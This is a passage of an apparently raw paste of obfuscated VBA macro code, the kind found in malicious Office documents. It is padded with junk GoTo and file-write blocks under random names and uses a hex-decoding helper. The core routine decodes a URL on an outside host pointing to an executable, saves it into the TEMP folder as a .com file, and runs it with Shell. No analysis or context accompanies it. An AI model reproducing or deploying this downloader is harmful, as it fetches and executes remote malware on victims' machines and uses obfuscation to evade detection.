  217.     GoTo hlnejtivxvdkolxgfpisywpiylrumjhhcmuyulycontxlrzvlgbnpedcvxbvujxovyckemqwbkrdmnf
  218.     Dim buomuvcnnogxcctkswjltqqvjhsisafajrszoydhmbyqsjixafgabpchjgwvlaibgbmswtxwyoujisb As String
  219.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("74646263657061626A75626963757A61716B6B626B6D7367736671646D706E62686D77626779746C7370736D697874697261786766796E797A7A756A62796B6E78726A6B6C776B68626E6D66666468") For Binary As #44473
  220.     Put #44473, , buomuvcnnogxcctkswjltqqvjhsisafajrszoydhmbyqsjixafgabpchjgwvlaibgbmswtxwyoujisb
  221.     Close #44473
  222.     hlnejtivxvdkolxgfpisywpiylrumjhhcmuyulycontxlrzvlgbnpedcvxbvujxovyckemqwbkrdmnf:
  223.         CQEKWVEMYEO = FreeFile
  224.     GoTo mbjedzrpogmdhpdsubzeznrgmbizqcmrhpwhdxmedhdlvzgkunlyxyqllvapbpotctxyiojnqbwfsqp
  225.     Dim khxbmervamqfmaueajmkbyzjlithxjzqjuvcwiuhnjlzwmagvofifxnnkeanslahbgiddgabfadklot As String
  226.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("656479716A787A726D7170756F6A776370696B717A69736166707774666B6477786F6C6D70666879746570646D6A7A7A616B716474686571746B74786F707A756D63777678616C78766863776E7270") For Binary As #46462
  227.     Put #46462, , khxbmervamqfmaueajmkbyzjlithxjzqjuvcwiuhnjlzwmagvofifxnnkeanslahbgiddgabfadklot
  228.     Close #46462
  229.     mbjedzrpogmdhpdsubzeznrgmbizqcmrhpwhdxmedhdlvzgkunlyxyqllvapbpotctxyiojnqbwfsqp:
  230.     GoTo vpgbmudzikkrazevyffkmfvkqcrrcwxrlxrqrrgdanmyhcaromkcldbqzseeurygwjbiorjiabbjzfk
  231.     Dim csejeubmgsbaqcprtfnpllzglqpeirerasnemanjesecyuxqreibvjwjlvncdnwljfwnoaqtbzgwood As String
  232.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6A6E6F61746F63746A6D6366766A6E7779787875786D766366637576727A716D7375716D777A6F63636E6261787A786F6D7A6869667A6870756B78796F726A717A7677666D766F6D736765786C7473") For Binary As #35142
  233.     Put #35142, , csejeubmgsbaqcprtfnpllzglqpeirerasnemanjesecyuxqreibvjwjlvncdnwljfwnoaqtbzgwood
  234.     Close #35142
  235.     vpgbmudzikkrazevyffkmfvkqcrrcwxrlxrqrrgdanmyhcaromkcldbqzseeurygwjbiorjiabbjzfk:
  236.     GoTo pkftzaiadesaxinffomsriygndctpiaaqtbvtsyqpirzyuowsplweorfcsfkrsqahqaeagqkctfanxx
  237.     Dim mbjedzrpogmdhpdsubzeznrgmbizqcmrhpwhdxmedhdlvzgkunlyxyqllvapbpotctxyiojnqbwfsqp As String
  238.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("706B6E6B63747871736F666A61667868746E767666796E6B6A646F686C70707966687A66696E7063616D7569756561777466727765756979776162656D78686D6D61676B63797177786476636D7268") For Binary As #64618
  239.     Put #64618, , mbjedzrpogmdhpdsubzeznrgmbizqcmrhpwhdxmedhdlvzgkunlyxyqllvapbpotctxyiojnqbwfsqp
  240.     Close #64618
  241.     pkftzaiadesaxinffomsriygndctpiaaqtbvtsyqpirzyuowsplweorfcsfkrsqahqaeagqkctfanxx:
  242.         If Dir(HNRAZHCBCUV) <> hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("") Then Kill HNRAZHCBCUV
  243.         Open HNRAZHCBCUV For Binary As #CQEKWVEMYEO
  244.         Put #CQEKWVEMYEO, , BLFXSWIMXEI
  245.         Close #CQEKWVEMYEO
  246.     GoTo urirvftlanooamrzttbhcixqevftiedcwtndrbjdvorsqwzfuexpmrlhhremmtrtoebbpfxizydjtpu
  247.     Dim jvozbrfizpypavtingljqrksajibcdubpgwihsfibbggtiranioxoupqqewybcxgjusmhojrzdmwsee As String
  248.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("696B667468756A7771676E7777646D617776616A6E706C61626B6D63677567736B737A616E766177777A627161786A667775716F72757676736378726C7A6366676C64726D7970766C616173697A6E") For Binary As #20945
  249.     Put #20945, , jvozbrfizpypavtingljqrksajibcdubpgwihsfibbggtiranioxoupqqewybcxgjusmhojrzdmwsee
  250.     Close #20945
  251.     urirvftlanooamrzttbhcixqevftiedcwtndrbjdvorsqwzfuexpmrlhhremmtrtoebbpfxizydjtpu:
  252.     GoTo exfanaqvdxqdarwnnpvjmbvcivfysnfddaromsusmxtfepghdgpdtaabmdcolkozqcrulrnsoyirsis
  253.     Dim slrspwwertaoczzuvlaasugadcillyjrlcmtqgczzjbcmqzddighpnmcbpjbqfrxhpumemrzsjlitmn As String
  254.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("63636C7778646F716772666A737575706571786368627362796C6B797977646C6D696C6E6A71706F73747A6169666765786F617663636F74646F6F676A7A6279656F617873766B796C6F776170777A") For Binary As #41701
  255.     Put #41701, , slrspwwertaoczzuvlaasugadcillyjrlcmtqgczzjbcmqzddighpnmcbpjbqfrxhpumemrzsjlitmn
  256.     Close #41701
  257.     exfanaqvdxqdarwnnpvjmbvcivfysnfddaromsusmxtfepghdgpdtaabmdcolkozqcrulrnsoyirsis:
  258.     GoTo aznpqpseshhywlxkdnmogdopfqoqjnwglywvevuklnwzrkqknpztkppyyjydxggdyzcjsohdmziffzi
  259.     Dim urirvftlanooamrzttbhcixqevftiedcwtndrbjdvorsqwzfuexpmrlhhremmtrtoebbpfxizydjtpu As String
  260.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("767A676E6A776476757762737770616D6873666B656C636A787A676B7963617A716E6A7668756B6E7763667377766678686D697377696B75656364716D636B6C70736372666476676D686965726179") For Binary As #14452
  261.     Put #14452, , urirvftlanooamrzttbhcixqevftiedcwtndrbjdvorsqwzfuexpmrlhhremmtrtoebbpfxizydjtpu
  262.     Close #14452
  263.     aznpqpseshhywlxkdnmogdopfqoqjnwglywvevuklnwzrkqknpztkppyyjydxggdyzcjsohdmziffzi:
  264.        
  265.         Dim VKSTZEIQOSP
  266.     GoTo dwrdricghnzbukkvksacspqftufcumkorebbieyyrsizoglokxtgpuallohibxzcyyezbgzpyahzybd
  267.     Dim zxtwymetnpinugqzppevyyvcdmohxoxzxdwequedtjlbcwsyiawkwoqrrigjcssefpuceohyuysbdib As String
  268.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("726C746D617866656E677969686D716F666F6C73746166776A706F7363656666757A7A70796F7975686B74786E7970696765666775796B726C65747561696471796E6E766879717671626C796E7172") For Binary As #71626
  269.     Put #71626, , zxtwymetnpinugqzppevyyvcdmohxoxzxdwequedtjlbcwsyiawkwoqrrigjcssefpuceohyuysbdib
  270.     Close #71626
  271.     dwrdricghnzbukkvksacspqftufcumkorebbieyyrsizoglokxtgpuallohibxzcyyezbgzpyahzybd:
  272.     GoTo bsjastenvudbmbtoihxltgqrogqccymnvhnyodiiskfddhyuymzocjgnossxzmxhscrzyaaawcafaqq
  273.     Dim vpgbmudzikkrazevyffkmfvkqcrrcwxrlxrqrrgdanmyhcaromkcldbqzseeurygwjbiorjiabbjzfk As String
  274.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("726A717063656B70626A616B617469757661677670707975667A636E7A6475776B6B63726D747568647A72667A71626C6676626E746E736F6A6F6978677368676178677675717A7771686B676B6675") For Binary As #67956
  275.     Put #67956, , vpgbmudzikkrazevyffkmfvkqcrrcwxrlxrqrrgdanmyhcaromkcldbqzseeurygwjbiorjiabbjzfk
  276.     Close #67956
  277.     bsjastenvudbmbtoihxltgqrogqccymnvhnyodiiskfddhyuymzocjgnossxzmxhscrzyaaawcafaqq:
  278.     GoTo toxlahqljhlcmiiwcrdlwgjrhdpohrusqrqoiqbpnlyexsnxiseascwooeqxpeewevqdjpggxgpignf
  279.     Dim dwrdricghnzbukkvksacspqftufcumkorebbieyyrsizoglokxtgpuallohibxzcyyezbgzpyahzybd As String
  280.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6F787977617961626877746C687577696E62657361696969646763746A6F6E6370696A797877766468717A726C75696B6D76777972757A68707763656F7A7479736F69767773746673736E6E636964") For Binary As #91879
  281.     Put #91879, , dwrdricghnzbukkvksacspqftufcumkorebbieyyrsizoglokxtgpuallohibxzcyyezbgzpyahzybd
  282.     Close #91879
  283.     toxlahqljhlcmiiwcrdlwgjrhdpohrusqrqoiqbpnlyexsnxiseascwooeqxpeewevqdjpggxgpignf:
  284.         VKSTZEIQOSP = Shell(HNRAZHCBCUV, 1)
  285.  
  286.     GoTo illzfddswnvfhufnayfrjxmbulgfytrytqbzcnvmdwxrmnbgnghoroprrcmlcamfwonifgpxqekjudy
  287.     Dim jpqagrpqgpzhgrhcrhyrxieugpotphmucaqkydztfirufgiskqdxgxsuicmnzllzmcdooogiwmgwfcw As String
  288.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6B6C6265786E73727967686261767A6B76747576646C6E6379666C6B746A736762657A65677466786D636668636B67666D6C766F6F747A6669616A6F70796C756E757A6A72797363657A69736B6D6D") For Binary As #31421
  289.     Put #31421, , jpqagrpqgpzhgrhcrhyrxieugpotphmucaqkydztfirufgiskqdxgxsuicmnzllzmcdooogiwmgwfcw
  290.     Close #31421
  291.     illzfddswnvfhufnayfrjxmbulgfytrytqbzcnvmdwxrmnbgnghoroprrcmlcamfwonifgpxqekjudy:
  292.     GoTo mcdgbeimukepahqalkujnovqbnxijtrpbjrmtimamispoyqntqdlzndrhdgnsdxlkwsymrirlhqzqfc
  293.     Dim mhqyweehgsskwliijkwokbzjvtmydydputmsafzgwxtmakfvlceejduqxviqyyirfktvmmzwjaovkoi As String
  294.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("657A6E6361727268736177716A6D686D6C6D7A7369786A6E6D766D6A6F73636976706C62666D7A726B6669617279746879756364796E666C797375636361747A66726965677662666967716B646B72") For Binary As #43213
  295.     Put #43213, , mhqyweehgsskwliijkwokbzjvtmydydputmsafzgwxtmakfvlceejduqxviqyyirfktvmmzwjaovkoi
  296.     Close #43213
  297.     mcdgbeimukepahqalkujnovqbnxijtrpbjrmtimamispoyqntqdlzndrhdgnsdxlkwsymrirlhqzqfc:
  298.     GoTo auimipigrjwsynrtumhnujvjjcpmfsxbwwqtxbhgyopgdctlleftxbdxxufrioppkmvmrpfjuicghfu
  299.     Dim illzfddswnvfhufnayfrjxmbulgfytrytqbzcnvmdwxrmnbgnghoroprrcmlcamfwonifgpxqekjudy As String
  300.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("74786E766370626E787767756174786A70707A76696E65737775727A6E726276616C6A6B776A656B616271626871647A7A7A67737979676361617579716F7878656B726A6F736864646E6A65666875") For Binary As #61385
  301.     Put #61385, , illzfddswnvfhufnayfrjxmbulgfytrytqbzcnvmdwxrmnbgnghoroprrcmlcamfwonifgpxqekjudy
  302.     Close #61385
  303.     auimipigrjwsynrtumhnujvjjcpmfsxbwwqtxbhgyopgdctlleftxbdxxufrioppkmvmrpfjuicghfu:
  304.         Set RKOTAYEKGNL = Nothing
  305.     GoTo uhlejfwsnynfnhgaxsifqdegaxtqgergfcgvbggnzrbftcehqslinmxbykmeiscziioubwpzfdspufo
  306.     Dim uyuxzfhkrlyokleozseypllsmqzkatdgxdinwonfhuqwvyhdgtozrgjxfsrvgtibetgbbnxoablctor As String
  307.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("7366687371676B6B716B6E7A666D7361787A7A6E736A78786470706D756D6364646B616374746265646D72656C787565776B7371786D637A626A776C656D796765706A7464636D777773616A6C6B6B") For Binary As #62775
  308.     Put #62775, , uyuxzfhkrlyokleozseypllsmqzkatdgxdinwonfhuqwvyhdgtozrgjxfsrvgtibetgbbnxoablctor
  309.     Close #62775
  310.     uhlejfwsnynfnhgaxsifqdegaxtqgergfcgvbggnzrbftcehqslinmxbykmeiscziioubwpzfdspufo:
  311.     GoTo tvbfebuckpemvbgakljhswactgepyfonqzhounmrnndzrrewxcovappgjvntgkjanycwejiuwmpcwkg
  312.     Dim gkmwrkhfselavxjbzmijyjttdumfzcgaoqohldvamgxbuogkfaympxslwcbfsuyitpmrnxdeetunnaa As String
  313.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("746D73696A65676563766B7A6E7A6C766679767A6B6767777A7068786B666D7A6D75736B777874736D796268627A7577627477627465726C7965676B637979776D6D6E7963696F7470706A75717969") For Binary As #43775
  314.     Put #43775, , gkmwrkhfselavxjbzmijyjttdumfzcgaoqohldvamgxbuogkfaympxslwcbfsuyitpmrnxdeetunnaa
  315.     Close #43775
  316.     tvbfebuckpemvbgakljhswactgepyfonqzhounmrnndzrrewxcovappgjvntgkjanycwejiuwmpcwkg:
  317.     GoTo oywylszkgczybqjcvfkgbgbqlgwoguiiijiddxitccsowgmqkdxregsrrjuxcyaxkhjpxnrgrmguvqz
  318.     Dim uhlejfwsnynfnhgaxsifqdegaxtqgergfcgvbggnzrbftcehqslinmxbykmeiscziioubwpzfdspufo As String
  319.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("797673736A6F68686972686E6779626B646A6376746E6B667365727A6377616A6C64796263746363617263656F6B68736E726178727A6F70686B676A6D6B65707A706A71766B626570786975717561") For Binary As #86464
  320.     Put #86464, , uhlejfwsnynfnhgaxsifqdegaxtqgergfcgvbggnzrbftcehqslinmxbykmeiscziioubwpzfdspufo
  321.     Close #86464
  322.     oywylszkgczybqjcvfkgbgbqlgwoguiiijiddxitccsowgmqkdxregsrrjuxcyaxkhjpxnrgrmguvqz:
  323.      
  324. End Function
  325.  
  326. Sub AJMLBVAWVNS()
  327.     ZYRBWVLOAHJ hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("687474703A2F2F6770736261682E636F6D2F696D616765732F312E657865"), Environ("TEMP") & "\SHXPQCJGTOH.com"
  328. End Sub
  329.  
  330.  
  331.  
  332. Public Function hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz(ByVal Fiksdbvbsdsd As String) As String
  333.     Dim fvbpolv       As Long
  334.     For fvbpolv = 1 To Len(Fiksdbvbsdsd) Step 2
  335.     hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz = hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz & Chr$(Val("&H" & Mid$(Fiksdbvbsdsd, fvbpolv, 2)))
  336.     Next fvbpolv
  337. End Function
Add Comment
Please, Sign In to add comment